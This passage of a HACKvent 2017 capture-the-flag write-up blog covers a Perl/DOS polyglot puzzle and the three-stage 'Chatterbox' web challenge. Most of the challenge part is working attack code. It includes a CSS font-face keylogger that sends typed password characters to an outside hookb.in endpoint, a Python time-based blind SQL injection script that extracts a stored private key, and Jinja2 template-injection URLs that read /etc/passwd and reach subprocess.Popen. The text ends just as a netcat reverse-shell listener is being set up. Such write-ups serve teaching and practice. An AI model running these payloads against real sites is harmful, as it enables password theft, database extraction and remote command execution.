\"\\273\\000\\000\\200\\267\\cZ\\cAMC\\201\\373\\cN\\cC|\\364\\363\\202L\\364^M\\245\\333M\\367\\202L\\371D\\200l\\375G\\371A\\367]N\\213K]N\\205\\200l\\367\\201L\\371D\\200l\\315s\\\\NE8\\\"\\363\\257L\\364CM\\245'M\\367\\257L\\371D\\200l\\375G\\371A\\367BI\\213KBI\\205\\200l\\367\\201L\\371D\\200l\\315s]IH8\\cN|\\226\\363MM\\307\\301\\275L\\304\\275\\376E\\273\\276\\305\\256O\\302_N\\315\\244\\303\\305\\206\\307\\302CO\\304\\275\\376H\\273\\276\\305\\256\\177\\302\\\\I\\305\\301\\275L\\cK\\314\\263SM1\\235\\367\\275L\\371D\\200l\\367\\201L\\371D\\200l\\371\\cA\\200l\\366MM\\304\\225HgM}M\\cNt\\2061\\271\\216MMM\\@GiYXA\\cP\\cF\\cP\\cQ\\\\\\cO\\037\\n\\cK\\f\\cU\\a\\cPMVUYXA\\$,1]\\037\\cP\\cZ\\034B[^\\257\\326T\\e\\cU\\351\\cBg\\cW\\302\\cT\\311\\345\\363\\035X\\265i\\231\\cK2\\261\\256\\252\\cB\\325\\cR\\360)\\210\\000\\331\\eJ\\224\\251\\263v\\342\\cD\\334SR\\216\\320\\254Y\\352\\374\\330L\\327\\376\\cC\\205\\@%\\241\\326X\\305\\cK\\266-\\267\\272\\354\\221\\362\\350\\\"\\240U\\203\\244\\333\\340\\256\\cO!\\347m&gt;\\264\\270W\\262\\366n\\343\\037\/\\225]OM\\332\\265\\376e\\321}6\\233\\cVgDa\\373\\cN\\261^\\375F\\210\\337\\034 f\\222\\363#'3\\252\\253\\cY\\322\\257\\cT\\215\\214\\201\\351\\cQ\\314\\a\\302B\\234\\247,\\276o\\275b\\226.\\335\\211\\336\\310\\2320\\325\\301\\361\\212\\217dQu\\3571~\\260\\r\\274\\3565\\243\\cXH\\f_\\324\\365\\245\\242w\\317`\\cH\\220\\$\\200&lt;\\\\)P9\\202\\300(:\\323\\312|qi\\367\\3537\\206\\2358\\277r\\t\\316\\313\\341\\236\\371\\250C&amp;\\cZy=\\355\\255\\344j\\cW\\cSV\\271[\\177pE*\\306Z?4\\304\\364\\cAGA\\246\\360\\231\\345;\\204KT\\307c\\213\\cE\\303\\223\\cU\\346\\230z\\n2\\227\\237\\cB\\207x\\cP+k\\315h{\\370\\cFs\\372\\cRN\\035\\036Il\\311t\\273\";\n$X = qq\/\\223&amp;\\305&gt;}\"\\372BF~\\370\\cH\\311~\\364\\363?\\223\\360FZf\\345H\\374\\177A\\362BAi\\370F4&gt;\\354]\\cO\\202F_(Zyj\\253\\213G\\3764\\207h\\330l\\rN=i*\\232\\267N\\361H\\375\\345 F\\374c\\@\\346Bpp\\345R\\0007\\243\"~\\221&gt;\\cZ\\347cu_9\\204F\\cA&gt;\\205\\037\\320cj5\\cA;\\cKlF6I9\\314\\301n&lt;\\303\\362\\cE\\354\\302\\301\\312ZD\\cHXC\\206\\243\\302\\300\\215\\267\\205?[\\312}\\354A\\371\\201\\274\\254\\205\\277\\cV\\343\/;\n# Show a prompt\nprint(\"Password:\\n\");\n@a=unpack(\"C*\",$,);\n@b=unpack(\"C*\",$X);\n# This line reads the data\n@c=unpack(\"C*\",scalar &lt;&gt;);\nprint(chr(($b[$_]-$a[$_]+$c[$_%8]+0x100)&amp;0xFF)) for(0..$#b);\n# Print done\nprint \"\\nDecryption done, are you happy now?\\n\";\nprintf(\"%s \", ($b[$_]-$a[$_]+$c[$_%8]+0x100)&amp;0xFF) for(0..$#b);<\/pre>\n<p>I found the password manually, because I am very unfamiliar with perl! \ud83d\ude42 I noticed that when I change a character, the output (which I am printing at the end) changes as well. I started to try with alphanumeric input. First success was when I entered &#8216;p&#8217; as the password, then the first character from the output was &#8220;72&#8221; which is the char code for &#8220;H&#8221;. Going further like that I&#8217;ve found the password &#8220;p0lyglot&#8221;:<\/p>\n<pre class=\"wrap:true lang:sh decode:true \">$ perl tmp.pl\nPassword:\np0lyglot\nHV17-this-is-not-what-you-are-looking-for\nAre you sure that only perl can parse Perl?\nMicrosoft's ye old shell does not even know \/usr\/bin\/perl.\nDecryption done, are you happy now?<\/pre>\n<p>A <a href=\"https:\/\/en.wikipedia.org\/wiki\/Polyglot_(computing)\" target=\"_blank\" rel=\"noopener\">polyglot<\/a>&nbsp;is a program which can be run with different interpreters\/programs. And the hint talks about the old Microsoft shell. This must be DOS. But to be able to run the program I had to rename the file extension to &#8220;com&#8221;.<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/dosbox.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-723 size-full\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/dosbox.png\" alt=\"\" width=\"639\" height=\"118\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/dosbox.png 639w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/dosbox-300x55.png 300w\" sizes=\"auto, (max-width: 639px) 100vw, 639px\" \/><\/a>Additionally to the perl password we need a dos code. The program didn&#8217;t return anything if the dos code was not 5 characters long. The code must be 5 characters then! I tried brute force the password with a script. But I failed to write the script, as dosbox only supports a limit set of commands and I could not run a loop. By pure luck I entered &#8220;AAAAA&#8221; as code, and the program returned something which looked very similar to a flag!<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/dosbox2.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-724 size-full\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/dosbox2.png\" alt=\"\" width=\"641\" height=\"95\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/dosbox2.png 641w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/dosbox2-300x44.png 300w\" sizes=\"auto, (max-width: 641px) 100vw, 641px\" \/><\/a><br \/>\nAgain manually playing with the dos code password I ended up with the right one: <strong>&#8220;S4n7A&#8221;<\/strong>.<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/dosbox3.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-725 size-full\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/dosbox3.png\" alt=\"\" width=\"641\" height=\"104\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/dosbox3.png 641w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/dosbox3-300x49.png 300w\" sizes=\"auto, (max-width: 641px) 100vw, 641px\" \/><\/a><br \/>\n<strong>HV17-Ovze-IUGF-W2xs-x2uE-pVRU<\/strong><\/p>\n<hr \/>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-524\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/final_64.png\" alt=\"\" width=\"64\" height=\"64\">Day 24: Chatterbox (Author: pyth0n33)<\/h1>\n<p style=\"text-align: left;\"><em>&#8230; likes to talk<\/em><\/p>\n<p><strong><br \/>\nDescription<br \/>\n<\/strong>I love to chat secure and private.<br \/>\nFor this I mostly use&nbsp;<a href=\"http:\/\/challenges.hackvent.hacking-lab.com:1087\/\" target=\"_blank\" rel=\"noopener\">http:\/\/challenges.hackvent.hacking-lab.com:1087<\/a>.<br \/>\nIt&#8217;s easy to create a private chat and start chatting without a registration.<br \/>\n<b>Hint #1:<\/b>&nbsp;the admin is a lazy clicker boy and only likes &lt;a href=&#8221;&#8230;&#8221;&gt;&lt;\/a&gt;<br \/>\n<b>Hint #2:<\/b>&nbsp;As a passionate designer, the admin loves different fonts.<br \/>\n<b>Hint #3:<\/b>&nbsp;For step 2: I&#8217;d better be my own CA.<br \/>\n<b>Hint #4:<\/b>&nbsp;For step 2: It&#8217;s all about the state<br \/>\n<b>Hint #5:<\/b>&nbsp;For step 3: python programmers don&#8217;t need {{ ninjas }}<br \/>\n<strong>Solution<br \/>\n<\/strong>This challenge was super hard. There were three stages until the flag was revealed and each stage could have been a final challenge. The first solver of this challenge came only after several hints and like 48 hours. I was very frustrated at the beginning as this was on Christmas Eve and I was looking forward to finally be released of the HACKvent stress. Because nobody solved this challenge in time they changed the rules for this challenge and the first 10 solvers would get full points. In the end I could jump to the 8th place in the global ranking, because I was solver number 7 of this challenge! \ud83d\ude42<br \/>\n<strong>Stage 1:<\/strong><br \/>\nThe website to chat contained several things which were suspicious. There was a working chat, you could create your own secret chat with a CSS stylesheet, a form to contact the administrator, an API which returned PHP errors, etc, etc. With the description of the challenge and hint #1 I assumed that I had to create my own chat and invite the admin over the feedback form to get him into my chat. I copied the original CSS file and changed the background-url to hookbin, so I could verify if somebody would click on my link:<\/p>\n<pre class=\"wrap:true lang:css decode:true\">body {\n    background-image: url(\"https:\/\/hookb.in\/vew26lmB\");\n}<\/pre>\n<p>And very well, some seconds\/minutes after I sent the clickable link(&lt;a href=&#8221;url-to-secret-chat&#8221;&gt;clickme&lt;\/a&gt;) to the admin I registered a call from the IP address of challenges.hackvent.hacking-lab.com on my hookb.in backend.<br \/>\nWith hint #2 I found this vulnerability:&nbsp;<a href=\"http:\/\/mksben.l0.cm\/2015\/10\/css-based-attack-abusing-unicode-range.html\" target=\"_blank\" rel=\"noopener\">http:\/\/mksben.l0.cm\/2015\/10\/css-based-attack-abusing-unicode-range.html<\/a>&nbsp;This is basically a keylogger implemented in CSS! I added all alphanumeric characters and some special characters to the CSS and then tried to hook this PoC font to the chat input field. But the admin was not typing anything. Then I had the idea to hook it to the password input field from the the password form and it worked!<\/p>\n<pre class=\"wrap:true lang:css decode:true\">body {\n    background-image: url(\"https:\/\/hookb.in\/vew26lmB\");\n}\n...\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?A);\n unicode-range:U+0041;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?B);\n unicode-range:U+0042;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?C);\n unicode-range:U+0043;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?D);\n unicode-range:U+0044;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?E);\n unicode-range:U+0045;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?F);\n unicode-range:U+0046;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?G);\n unicode-range:U+0047;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?H);\n unicode-range:U+0048;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?I);\n unicode-range:U+0049;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?J);\n unicode-range:U+004A;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?K);\n unicode-range:U+004B;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?L);\n unicode-range:U+004C;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?M);\n unicode-range:U+004D;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?N);\n unicode-range:U+004E;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?O);\n unicode-range:U+004F;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?P);\n unicode-range:U+0050;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?Q);\n unicode-range:U+0051;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?R);\n unicode-range:U+0052;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?S);\n unicode-range:U+0053;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?T);\n unicode-range:U+0054;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?U);\n unicode-range:U+0055;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?V);\n unicode-range:U+0056;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?W);\n unicode-range:U+0057;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?X);\n unicode-range:U+0058;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?Y);\n unicode-range:U+0059;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?Z);\n unicode-range:U+005A;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_exec_);\n unicode-range:U+0060;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?a);\n unicode-range:U+0061;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?b);\n unicode-range:U+0062;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?c);\n unicode-range:U+0063;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?d);\n unicode-range:U+0064;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?e);\n unicode-range:U+0065;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?f);\n unicode-range:U+0066;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?g);\n unicode-range:U+0067;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?h);\n unicode-range:U+0068;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?i);\n unicode-range:U+0069;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?j);\n unicode-range:U+006A;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?k);\n unicode-range:U+006B;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?l);\n unicode-range:U+006C;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?m);\n unicode-range:U+006D;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?n);\n unicode-range:U+006E;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?o);\n unicode-range:U+006F;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?p);\n unicode-range:U+0070;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?q);\n unicode-range:U+0071;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?r);\n unicode-range:U+0072;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?s);\n unicode-range:U+0073;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?t);\n unicode-range:U+0074;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?u);\n unicode-range:U+0075;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?v);\n unicode-range:U+0076;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?w);\n unicode-range:U+0077;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?x);\n unicode-range:U+0078;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?y);\n unicode-range:U+0079;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?z);\n unicode-range:U+007A;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_space_);\n unicode-range:U+0020;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_quote_);\n unicode-range:U+0021;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_escl_);\n unicode-range:U+0022;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_hash_);\n unicode-range:U+0023;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_dollar_);\n unicode-range:U+0024;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_per_);\n unicode-range:U+0025;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_and_);\n unicode-range:U+0026;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_squot_);\n unicode-range:U+0027;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_br1_);\n unicode-range:U+0028;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_br2_);\n unicode-range:U+0029;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_mult_);\n unicode-range:U+002A;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_plus_);\n unicode-range:U+002B;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_comma_);\n unicode-range:U+002C;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_dash_);\n unicode-range:U+002D;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_dot_);\n unicode-range:U+002E;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_slash_);\n unicode-range:U+002F;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?0);\n unicode-range:U+0030;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?1);\n unicode-range:U+0031;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?2);\n unicode-range:U+0032;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?3);\n unicode-range:U+0033;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?4);\n unicode-range:U+0034;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?5);\n unicode-range:U+0035;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?6);\n unicode-range:U+0036;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?7);\n unicode-range:U+0037;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?8);\n unicode-range:U+0038;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?9);\n unicode-range:U+0039;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_dp_);\n unicode-range:U+003A;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_sp_);\n unicode-range:U+003B;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_kl_);\n unicode-range:U+003C;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_equal_);\n unicode-range:U+003D;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_gr_);\n unicode-range:U+003E;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_question_);\n unicode-range:U+003F;\n}\n@font-face{\n font-family:poc;\n src: url(https:\/\/hookb.in\/vew26lmB\/?_at_);\n unicode-range:U+0040;\n}\n#password{\n font-family:poc;\n}<\/pre>\n<p>This gave me the password <strong>&#8220;Christmas2017&#8221;<\/strong> which led to the link &#8220;http:\/\/challenges.hackvent.hacking-lab.com:1088\/?key=E7g24fPcZgL5dg78&#8221; of stage 2!<br \/>\n<strong>Stage 2:<\/strong><br \/>\nAgain, there were many distraction points. First I assumed it to be a command injection. As there were tools like &#8220;ping&#8221; used on the website. After hint #3 (Better be my own CA) was released I knew I had to focus on the CSR tool. There you could submit a CSR and a CA certificate was generated for you.<br \/>\nI fuzzed the input fields of the certificate and found out that the server will return an error 500 if the state field contained a quote (&#8216;)! I tried to reproduce it on my own computer with openssl and it worked. So, the CA must parse the CSR and do something with it. Playing with the State field inputs revealed that it was an timebased blind SQL-injection. Only problem there was, that it had to be embedded in a valid CSR! I tried to write a tamper script for sqlmap which generates a CSR. But unfortunately this didn&#8217;t work, because sqlmap generates payloads which are too long for the State field! \ud83d\ude41 Solution to this was to write my own time-based blind sql injection script. It was a lot of work, but implementing it was actually fun and I&#8217;ve learned a lot!<br \/>\nTo work faster and find the right SQL query I wrote a small script. With this I could just pass the SQL query as parameter and it would automatically generate the CSR and do the post request.<\/p>\n<pre class=\"wrap:true lang:sh decode:true\">#!\/bin\/sh\nopenssl genrsa -out tmp.key 1024\nopenssl req -new --key tmp.key -out tmp.csr -subj\n\"\/C=CH\/ST=$1\/L=1337\/O=1337\/OU=1337\/CN=1337\/emailAddress=1337\"\nCSR=`cat tmp.csr`\nCSR=$(php -r  \"echo rawurlencode('$CSR');\")\nURL=\"http:\/\/challenges.hackvent.hacking-lab.com:1088\/php\/api.php?function=csr&amp;argument=&amp;key=E7g24fPcZgL5dg78\"\ncurl -i -X POST $URL -d \"csr=$CSR\"|sed \"s\/&lt;br&gt;\/\\\\n\/g\"<\/pre>\n<p>My sql query to trigger the vulnerability was:<\/p>\n<pre class=\"wrap:true lang:mysql decode:true\">\"'or (select sleep(1) from information_schema.tables) or'\"<\/pre>\n<p>If the request took longer than 1 second then the query was successful! I wrote a script which first dumped the database name, then the tables, after that the columns and finally the content.<\/p>\n<pre class=\"lang:python decode:true\">import os\nimport urllib\nimport subprocess\nimport timeit\nimport requests\nURL=\"http:\/\/challenges.hackvent.hacking-lab.com:1088\/php\/api.php?function=csr&amp;argument=&amp;key=E7g24fPcZgL5dg78\"\nCHARSET=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-$!#@-=:?&amp;_\"\ndef make_request(payload):\n\tos.system('openssl req -new --key tmp.key -out tmp.csr -subj \"\/C=CH\/ST='+payload+'\/L=1337\/O=1337\/OU=1337\/CN=1337\/emailAddress=1337\"')\n\tcsr = subprocess.check_output(['cat', 'tmp.csr'])\n\tr = requests.post(URL, data={\"csr\": csr})\n\tt = r.elapsed.total_seconds()\n\tif t &gt; 1:\n\t\treturn True\n\telse:\n\t\treturn False\ndef verify_table(table):\n\tpayload = \"' or (select sleep(1) from hv24_2.\"+table+\") or '\"\n\treturn payload\ndef find(start_pos, payload, title):\n\tprint(\"[+] Looking for \" + title + \" ...\")\n\tname = \"\"\n\tfor x in CHARSET[start_pos:-1]:\n\t\tpayl = payload.replace(\"XXX%\", name+x+\"%\")\n\t\tif make_request(payl):\n\t\t\tname += x\n\t\t\tbreak\n\t\tif name:\n\t\t\tprint(name)\n\t#If nothing found after first loop, we already dumped all the information\n\tif not name:\n\t\treturn \"___done___\"\n\tn = len(name)\n\twhile True:\n\t\tfor x in CHARSET:\n\t\t\tpayl = payload.replace(\"XXX%\", name+x+\"%\")\n\t\t\tif make_request(payl):\n\t\t\t\tname += x\n\t\t\t\tbreak\n\t\tprint(name)\n\t\tif n == len(name):\n\t\t\tbreak\n\t\telse:\n\t\t\tn = len(name)\n\tprint(\"[+] Found \" + title + \": \" + name)\n\treturn name\n# Only once, generate key\nos.system('openssl genrsa -out tmp.key 1024')\n# Find databases\ni = 0\nlast_found=\"\"\nwhile (i &lt; len(CHARSET)):\n\tif last_found:\n\t\ti = CHARSET.index(last_found[0])+1\n\tlast_found = find(i, \"'or(select sleep(1)from information_schema.tables WHERE table_schema like binary 'XXX%')or'\", \"Database\")\n\tif last_found == \"___done___\":\n\t\tbreak\n\ti += 1\n# find Tables for hv24_2\ni = 0\nlast_found=\"\"\nwhile (i &lt; len(CHARSET)):\n\tif last_found:\n\t\ti = CHARSET.index(last_found[0])+1\n\tlast_found = find(i, \"'or(select sleep(1)from information_schema.tables WHERE table_schema = 'hv24_2' &amp;&amp; table_name like binary 'XXX%')or'\", \"Table\")\n\tif last_found == \"___done___\":\n\t\tbreak\n\ti += 1\n# find columns for certificates &amp; keystorage\ni = 0\nlast_found=\"\"\nwhile (i &lt; len(CHARSET)):\n\tif last_found:\n\t\ti = CHARSET.index(last_found[0])+1\n\tlast_found = find(i, \"'or(select sleep(1)from information_schema.columns WHERE table_name='certificates'&amp;&amp;column_name like binary 'XXX%')or'\", \"Column\")\n\tif last_found == \"___done___\":\n\t\tbreak\n\ti += 1\ni = 0\nlast_found=\"\"\nwhile (i &lt; len(CHARSET)):\n\tif last_found:\n\t\ti = CHARSET.index(last_found[0])+1\n\tlast_found = find(i, \"'or(select sleep(1)from information_schema.columns WHERE table_name='keystorage'&amp;&amp;column_name like binary 'XXX%')or'\", \"Column\")\n\tif last_found == \"___done___\":\n\t\tbreak\n\ti += 1\n# get private_key from keystorage! :)\ni = 0\nwhile (i &lt; len(CHARSET)):\n\tfind(i, \" ' or ( select sleep(1) from hv24_2.keystorage WHERE private_key like binary '%1089XXX%' ) or ' \", \"DATA\")\n\tif last_found == \"___done___\":\n\t\tbreak\n\ti += 1\n<\/pre>\n<p>With this I have found the database &#8220;hv24_2&#8221; with the tables &#8220;certificates&#8221; and &#8220;keystorage&#8221;. In the table &#8220;keystorage&#8221; is the column &#8220;private_key&#8221; which contained the key for stage 3:<br \/>\nhttp:\/\/challenges.hackvent.hacking-lab.com:1089\/?key=W5zzcusgZty9CNgw<br \/>\n<strong>Stage 3:<\/strong><br \/>\nStage 3 is a simple, yet unfinished, webshop where you can buy crypto-currency t-shirts.<br \/>\nHint #5 (For step 3: python programmers don&#8217;t need {{ ninjas }}) was very helpful. After googling a bit I found the Flask framework which leverages the Jinga2 engine and it uses curly brackets {{ }}! Jinga2 &lt;-&gt; ninja. \ud83d\ude42 If not implemented correctly Server Side Template Injections (SSTI) is possible:<br \/>\n<a href=\"https:\/\/nvisium.com\/blog\/2015\/12\/07\/injecting-flask\/\" target=\"_blank\" rel=\"noopener\">https:\/\/nvisium.com\/blog\/2015\/12\/07\/injecting-flask\/<\/a><br \/>\n<a href=\"https:\/\/nvisium.com\/blog\/2016\/03\/09\/exploring-ssti-in-flask-jinja2\/\" target=\"_blank\" rel=\"noopener\">https:\/\/nvisium.com\/blog\/2016\/03\/09\/exploring-ssti-in-flask-jinja2\/<\/a><br \/>\nNow this stage was pretty straight forward and I solved it much faster than 1 &amp; 2. First I was able to read out the config.items(), but this did not contain anything useful.<\/p>\n<pre class=\"wrap:true lang:default decode:true\">http:\/\/challenges.hackvent.hacking-lab.com:1089\/{{config.items()}}\/99?key=W5zzcusgZty9CNgw<\/pre>\n<p>Later I&#8217;ve found the used classes:<\/p>\n<pre class=\"wrap:true lang:default decode:true\">http:\/\/challenges.hackvent.hacking-lab.com:1089\/{{''.__class__.__mro__[1].__subclasses__()}}\/99?key=W5zzcusgZty9CNgw<\/pre>\n<p>This revealed all the classes I could leverage for the attack. First the class&nbsp;302 &lt;class &#8216;click.utils.LazyFile&#8217;&gt; got my attention. I could read the \/etc\/passwd file with this URL:<\/p>\n<pre class=\"wrap:true lang:default decode:true\">http:\/\/challenges.hackvent.hacking-lab.com:1089\/{{''.__class__.__mro__[1].__subclasses__()[302](\"\/etc\/passwd\").read()}}\/99?key=W5zzcusgZty9CNgw<\/pre>\n<p><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/passwd.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-726 size-large\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/passwd-1024x258.png\" alt=\"\" width=\"584\" height=\"147\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/passwd-1024x258.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/passwd-300x75.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/passwd-768x193.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/passwd-1536x387.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/passwd-2048x515.png 2048w\" sizes=\"auto, (max-width: 584px) 100vw, 584px\" \/><\/a><br \/>\nUnfortunately I did not find another class which led me to list directories and content. Thanks to the passwd file I knew, that there is a \/home\/hv24 directory. But I could not guess the flag file. I had to look further&#8230;<br \/>\nThen I found: 37 &lt;class &#8216;subprocess.Popen&#8217;&gt;! With popen it is possible to run shell commands on the system! I was not able to read the outputs from the commands, therefore I went for a reverse shell! \ud83d\ude42<br \/>\nOn my server I ran netcat to listen for incoming connections:<\/p>\n<pre class=\"lang:sh decode:true \">$  nc -l -p 1337 -vvv\nlistening on [any] 1337 